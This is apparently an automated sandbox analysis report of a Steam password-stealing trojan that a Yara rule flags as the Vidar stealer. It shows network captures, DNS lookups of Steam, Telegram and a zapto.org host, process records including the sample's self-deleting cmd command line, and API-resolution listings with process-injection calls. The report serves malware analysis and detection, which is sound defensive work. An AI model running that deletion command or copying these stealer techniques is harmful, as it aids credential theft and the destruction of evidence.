Sep 15, 2024 18:29:59.518431902 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.534771919 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.534871101 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.534888029 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.534945011 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.534945011 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.535711050 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.535728931 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.547319889 CEST	49718	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:29:59.547369003 CEST	443	49718	188.245.87.202	192.168.2.12
Sep 15, 2024 18:29:59.547467947 CEST	49718	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:29:59.547810078 CEST	49718	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:29:59.547827005 CEST	443	49718	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:02.915318966 CEST	443	49718	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:02.915416956 CEST	49718	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:02.916088104 CEST	49718	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:02.916107893 CEST	443	49718	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:02.916914940 CEST	49719	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:02.916970015 CEST	443	49719	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:02.917057037 CEST	49719	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:02.917320013 CEST	49719	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:02.917332888 CEST	443	49719	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:06.276719093 CEST	443	49719	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:06.276830912 CEST	49719	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.276920080 CEST	49719	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.276948929 CEST	443	49719	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:06.277506113 CEST	49720	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.277548075 CEST	443	49720	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:06.277621031 CEST	49720	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.277736902 CEST	49720	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.277779102 CEST	443	49720	188.245.87.202	192.168.2.12
Sep 15, 2024 18:30:06.277825117 CEST	49720	443	192.168.2.12	188.245.87.202
Sep 15, 2024 18:30:06.291809082 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.291845083 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:06.291908979 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.292139053 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.292152882 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:06.920351982 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:06.920496941 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.927598000 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.927623034 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:06.927894115 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:06.927961111 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.928375006 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:06.975398064 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:07.170530081 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:07.170557022 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:07.170587063 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:07.170609951 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:07.170612097 CEST	443	49721	149.154.167.99	192.168.2.12
Sep 15, 2024 18:30:07.170670986 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:07.170705080 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:07.173254013 CEST	49721	443	192.168.2.12	149.154.167.99
Sep 15, 2024 18:30:07.173265934 CEST	443	49721	149.154.167.99	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 18:29:57.728355885 CEST	53089	53	192.168.2.12	1.1.1.1
Sep 15, 2024 18:29:57.737616062 CEST	53	53089	1.1.1.1	192.168.2.12
Sep 15, 2024 18:30:06.280889034 CEST	52652	53	192.168.2.12	1.1.1.1
Sep 15, 2024 18:30:06.291100025 CEST	53	52652	1.1.1.1	192.168.2.12
Sep 15, 2024 18:30:08.098771095 CEST	59643	53	192.168.2.12	1.1.1.1
Sep 15, 2024 18:30:08.108323097 CEST	53	59643	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 15, 2024 18:29:57.728355885 CEST	192.168.2.12	1.1.1.1	0xba99	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 15, 2024 18:30:06.280889034 CEST	192.168.2.12	1.1.1.1	0xc0ed	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 15, 2024 18:30:08.098771095 CEST	192.168.2.12	1.1.1.1	0xd26f	Standard query (0)	arpdabl.zapto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 15, 2024 18:29:57.737616062 CEST	1.1.1.1	192.168.2.12	0xba99	No error (0)	steamcommunity.com	23.50.98.133	A (IP address)	IN (0x0001)	false
Sep 15, 2024 18:30:06.291100025 CEST	1.1.1.1	192.168.2.12	0xc0ed	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 15, 2024 18:30:08.108323097 CEST	1.1.1.1	192.168.2.12	0xd26f	No error (0)	arpdabl.zapto.org	0.0.0.0	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

t.me

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49717	23.50.98.133	443	6924	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 16:29:59 UTC	119	OUT	GET /profiles/76561199747278259 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 16:29:59 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 15 Sep 2024 16:29:59 GMT Content-Length: 34740 Connection: close Set-Cookie: sessionid=2e963e6cf61507d182db9691; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-15 16:29:59 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-15 16:29:59 UTC	10062	IN	Data Raw: 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 Data Ascii: destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><di
2024-09-15 16:29:59 UTC	10164	IN	Data Raw: 6d 6d 75 6e 69 74 79 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 61 73 73 65 74 73 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 Data Ascii: mmunity.akamai.steamstatic.com\/","COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steamstatic.com\/steamcommunity\/public\/assets\/","STORE_CDN_URL":"https:\/\/store.akamai.steamstatic.com\/","PUBLIC_SHARE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49721	149.154.167.99	443	6924	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 16:30:06 UTC	86	OUT	GET /armad2a HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 16:30:07 UTC	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 15 Sep 2024 16:30:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9552 Connection: close Set-Cookie: stel_ssid=4efd914e132e45a65a_1135532237225000423; expires=Mon, 16 Sep 2024 16:30:07 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-15 16:30:07 UTC	9552	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 72 6d 61 64 32 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @armad2a</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Target ID:	0
Start time:	12:29:56
Start date:	15/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe"
Imagebase:	0x2f0000
File size:	70'144 bytes
MD5 hash:	5A4CCCCB90B0AAA3B248D4F0DDE38823
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:30:07
Start date:	15/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit
Imagebase:	0x1f0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:30:07
Start date:	15/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:30:07
Start date:	15/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xfe0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 00307A40 Relevance: 231.7, APIs: 121, Strings: 11, Instructions: 726
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76E00000,02F3A150), ref: 00307A55
GetProcAddress.KERNEL32(76E00000,02F3A1B0), ref: 00307A6D
GetProcAddress.KERNEL32(76E00000,02F41BC0), ref: 00307A86
GetProcAddress.KERNEL32(76E00000,02F41CB0), ref: 00307A9E
GetProcAddress.KERNEL32(76E00000,02F41B18), ref: 00307AB6
GetProcAddress.KERNEL32(76E00000,02F41AE8), ref: 00307ACF
GetProcAddress.KERNEL32(76E00000,02F38AF8), ref: 00307AE7
GetProcAddress.KERNEL32(76E00000,02F41A40), ref: 00307AFF
GetProcAddress.KERNEL32(76E00000,02F41C20), ref: 00307B18
GetProcAddress.KERNEL32(76E00000,02F41D10), ref: 00307B30
GetProcAddress.KERNEL32(76E00000,02F41B78), ref: 00307B48
GetProcAddress.KERNEL32(76E00000,02F39EF0), ref: 00307B61
GetProcAddress.KERNEL32(76E00000,02F3A1F0), ref: 00307B79
GetProcAddress.KERNEL32(76E00000,02F39FB0), ref: 00307B91
GetProcAddress.KERNEL32(76E00000,02F39F30), ref: 00307BAA
GetProcAddress.KERNEL32(76E00000,02F41B30), ref: 00307BC2
GetProcAddress.KERNEL32(76E00000,02F41AB8), ref: 00307BDA
GetProcAddress.KERNEL32(76E00000,02F38828), ref: 00307BF3
GetProcAddress.KERNEL32(76E00000,02F3A1D0), ref: 00307C0B
GetProcAddress.KERNEL32(76E00000,02F41AD0), ref: 00307C23
GetProcAddress.KERNEL32(76E00000,02F41BD8), ref: 00307C3C
GetProcAddress.KERNEL32(76E00000,02F41C50), ref: 00307C54
GetProcAddress.KERNEL32(76E00000,02F41A58), ref: 00307C6C
GetProcAddress.KERNEL32(76E00000,02F39F90), ref: 00307C85
GetProcAddress.KERNEL32(76E00000,02F41A70), ref: 00307C9D
GetProcAddress.KERNEL32(76E00000,02F41B00), ref: 00307CB5
GetProcAddress.KERNEL32(76E00000,02F41B48), ref: 00307CCE
GetProcAddress.KERNEL32(76E00000,02F41BF0), ref: 00307CE6
GetProcAddress.KERNEL32(76E00000,02F41C08), ref: 00307CFE
GetProcAddress.KERNEL32(76E00000,02F41C38), ref: 00307D17
GetProcAddress.KERNEL32(76E00000,02F41C68), ref: 00307D2F
GetProcAddress.KERNEL32(76E00000,02F41A88), ref: 00307D47
GetProcAddress.KERNEL32(76E00000,02F41C80), ref: 00307D60
GetProcAddress.KERNEL32(76E00000,02F35050), ref: 00307D78
GetProcAddress.KERNEL32(76E00000,02F41CC8), ref: 00307D90
GetProcAddress.KERNEL32(76E00000,02F41AA0), ref: 00307DA9
GetProcAddress.KERNEL32(76E00000,02F3A210), ref: 00307DC1
GetProcAddress.KERNEL32(76E00000,02F41D88), ref: 00307DD9
GetProcAddress.KERNEL32(76E00000,02F3A230), ref: 00307DF2
GetProcAddress.KERNEL32(76E00000,02F41D40), ref: 00307E0A
GetProcAddress.KERNEL32(76E00000,02F41DB8), ref: 00307E22
GetProcAddress.KERNEL32(76E00000,02F3A090), ref: 00307E3B
GetProcAddress.KERNEL32(76E00000,02F3A5B0), ref: 00307E53
GetProcAddress.KERNEL32(76E00000,CreateProcessA), ref: 00307E6A
GetProcAddress.KERNEL32(76E00000,GetThreadContext), ref: 00307E80
GetProcAddress.KERNEL32(76E00000,ReadProcessMemory), ref: 00307E97
GetProcAddress.KERNEL32(76E00000,VirtualAllocEx), ref: 00307EAE
GetProcAddress.KERNEL32(76E00000,ResumeThread), ref: 00307EC4
GetProcAddress.KERNEL32(76E00000,WriteProcessMemory), ref: 00307EDB
GetProcAddress.KERNEL32(76E00000,SetThreadContext), ref: 00307EF2
LoadLibraryA.KERNEL32(02F41E00,003066E1,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F03
LoadLibraryA.KERNEL32(02F41DA0,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F15
LoadLibraryA.KERNEL32(02F41DD0,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F27
LoadLibraryA.KERNEL32(02F41DE8,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F38
LoadLibraryA.KERNEL32(02F41D58,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F4A
LoadLibraryA.KERNEL32(02F41D70,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F5C
LoadLibraryA.KERNEL32(02F45030,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F6D
LoadLibraryA.KERNEL32(02F44F10,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F7F
LoadLibraryA.KERNEL32(dbghelp.dll,?,?,?,?,?,?,?,?,?,?,003101E9,003101E9,003101E9), ref: 00307F8F
GetProcAddress.KERNEL32(76560000,02F3A2B0), ref: 00307FAB
GetProcAddress.KERNEL32(76560000,02F44FA0), ref: 00307FC3
GetProcAddress.KERNEL32(76560000,02F432E8), ref: 00307FDB
GetProcAddress.KERNEL32(76560000,02F44D90), ref: 00307FF4
GetProcAddress.KERNEL32(76560000,02F3A2D0), ref: 0030800C
GetProcAddress.KERNEL32(73940000,02F388F0), ref: 0030802C
GetProcAddress.KERNEL32(73940000,02F3A410), ref: 00308044
GetProcAddress.KERNEL32(73940000,02F38C10), ref: 0030805C
GetProcAddress.KERNEL32(73940000,02F44F40), ref: 00308075
GetProcAddress.KERNEL32(73940000,02F44FB8), ref: 0030808D
GetProcAddress.KERNEL32(73940000,02F3A2F0), ref: 003080A5
GetProcAddress.KERNEL32(73940000,02F3A510), ref: 003080BE
GetProcAddress.KERNEL32(73940000,02F44EF8), ref: 003080D6
GetProcAddress.KERNEL32(75450000,02F3A390), ref: 003080F2
GetProcAddress.KERNEL32(75450000,02F3A310), ref: 0030810A
GetProcAddress.KERNEL32(75450000,02F44F70), ref: 00308122
GetProcAddress.KERNEL32(75450000,02F44EC8), ref: 0030813B
GetProcAddress.KERNEL32(75450000,02F3A330), ref: 00308153
GetProcAddress.KERNEL32(77050000,02F38850), ref: 00308173
GetProcAddress.KERNEL32(77050000,02F388A0), ref: 0030818B
GetProcAddress.KERNEL32(77050000,02F44FD0), ref: 003081A3
GetProcAddress.KERNEL32(77050000,02F3A3B0), ref: 003081BC
GetProcAddress.KERNEL32(77050000,02F3A3D0), ref: 003081D4
GetProcAddress.KERNEL32(77050000,02F38918), ref: 003081EC
GetProcAddress.KERNEL32(76A70000,02F44E98), ref: 0030820C
GetProcAddress.KERNEL32(76A70000,02F3A350), ref: 00308224
GetProcAddress.KERNEL32(76A70000,02F433E8), ref: 0030823D
GetProcAddress.KERNEL32(76A70000,02F44EB0), ref: 00308255
GetProcAddress.KERNEL32(76A70000,02F44DD8), ref: 0030826D
GetProcAddress.KERNEL32(76A70000,02F3A530), ref: 00308286
GetProcAddress.KERNEL32(76A70000,02F3A490), ref: 0030829E
GetProcAddress.KERNEL32(76A70000,02F44EE0), ref: 003082B6
GetProcAddress.KERNEL32(76A70000,02F44F88), ref: 003082CF
GetProcAddress.KERNEL32(76F40000,02F3A550), ref: 003082EB
GetProcAddress.KERNEL32(76F40000,02F44E38), ref: 00308303
GetProcAddress.KERNEL32(76F40000,02F44FE8), ref: 0030831C
GetProcAddress.KERNEL32(76F40000,02F44F28), ref: 00308334
GetProcAddress.KERNEL32(76F40000,02F44F58), ref: 0030834C
GetProcAddress.KERNEL32(761C0000,02F3A3F0), ref: 00308368
GetProcAddress.KERNEL32(761C0000,02F3A4B0), ref: 00308380
GetProcAddress.KERNEL32(75540000,02F3A370), ref: 0030839C
GetProcAddress.KERNEL32(75540000,02F45060), ref: 003083B4
GetProcAddress.KERNEL32(6F4C0000,02F3A570), ref: 003083D4
GetProcAddress.KERNEL32(6F4C0000,02F3A430), ref: 003083EC
GetProcAddress.KERNEL32(6F4C0000,02F3A4D0), ref: 00308405
GetProcAddress.KERNEL32(6F4C0000,02F44DF0), ref: 0030841D
GetProcAddress.KERNEL32(6F4C0000,02F3A4F0), ref: 00308435
GetProcAddress.KERNEL32(6F4C0000,02F3A450), ref: 0030844E
GetProcAddress.KERNEL32(6F4C0000,02F3A470), ref: 00308466
GetProcAddress.KERNEL32(6F4C0000,02F3A590), ref: 0030847E
GetProcAddress.KERNEL32(6F4C0000,HttpQueryInfoA), ref: 00308495
GetProcAddress.KERNEL32(6F4C0000,InternetSetOptionA), ref: 003084AC
GetProcAddress.KERNEL32(77070000,02F44E80), ref: 003084C8
GetProcAddress.KERNEL32(77070000,02F43268), ref: 003084E0
GetProcAddress.KERNEL32(77070000,02F45000), ref: 003084F9
GetProcAddress.KERNEL32(77070000,02F45018), ref: 00308511
GetProcAddress.KERNEL32(77040000,02F3A5D0), ref: 0030852D
GetProcAddress.KERNEL32(6FE10000,02F44DA8), ref: 00308549
GetProcAddress.KERNEL32(6FE10000,02F3A5F0), ref: 00308561
GetProcAddress.KERNEL32(6FE10000,02F45048), ref: 0030857A
GetProcAddress.KERNEL32(6FE10000,02F44D78), ref: 00308592
GetProcAddress.KERNEL32(6D2C0000,SymMatchString), ref: 003085AC

Strings

HttpQueryInfoA, xrefs: 0030848A
GetThreadContext, xrefs: 00307E7A
ReadProcessMemory, xrefs: 00307E8C
SymMatchString, xrefs: 003085A6
WriteProcessMemory, xrefs: 00307ED0
SetThreadContext, xrefs: 00307EE7
CreateProcessA, xrefs: 00307E5F
dbghelp.dll, xrefs: 00307F85
VirtualAllocEx, xrefs: 00307EA3
InternetSetOptionA, xrefs: 003084A1
ResumeThread, xrefs: 00307EBE

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
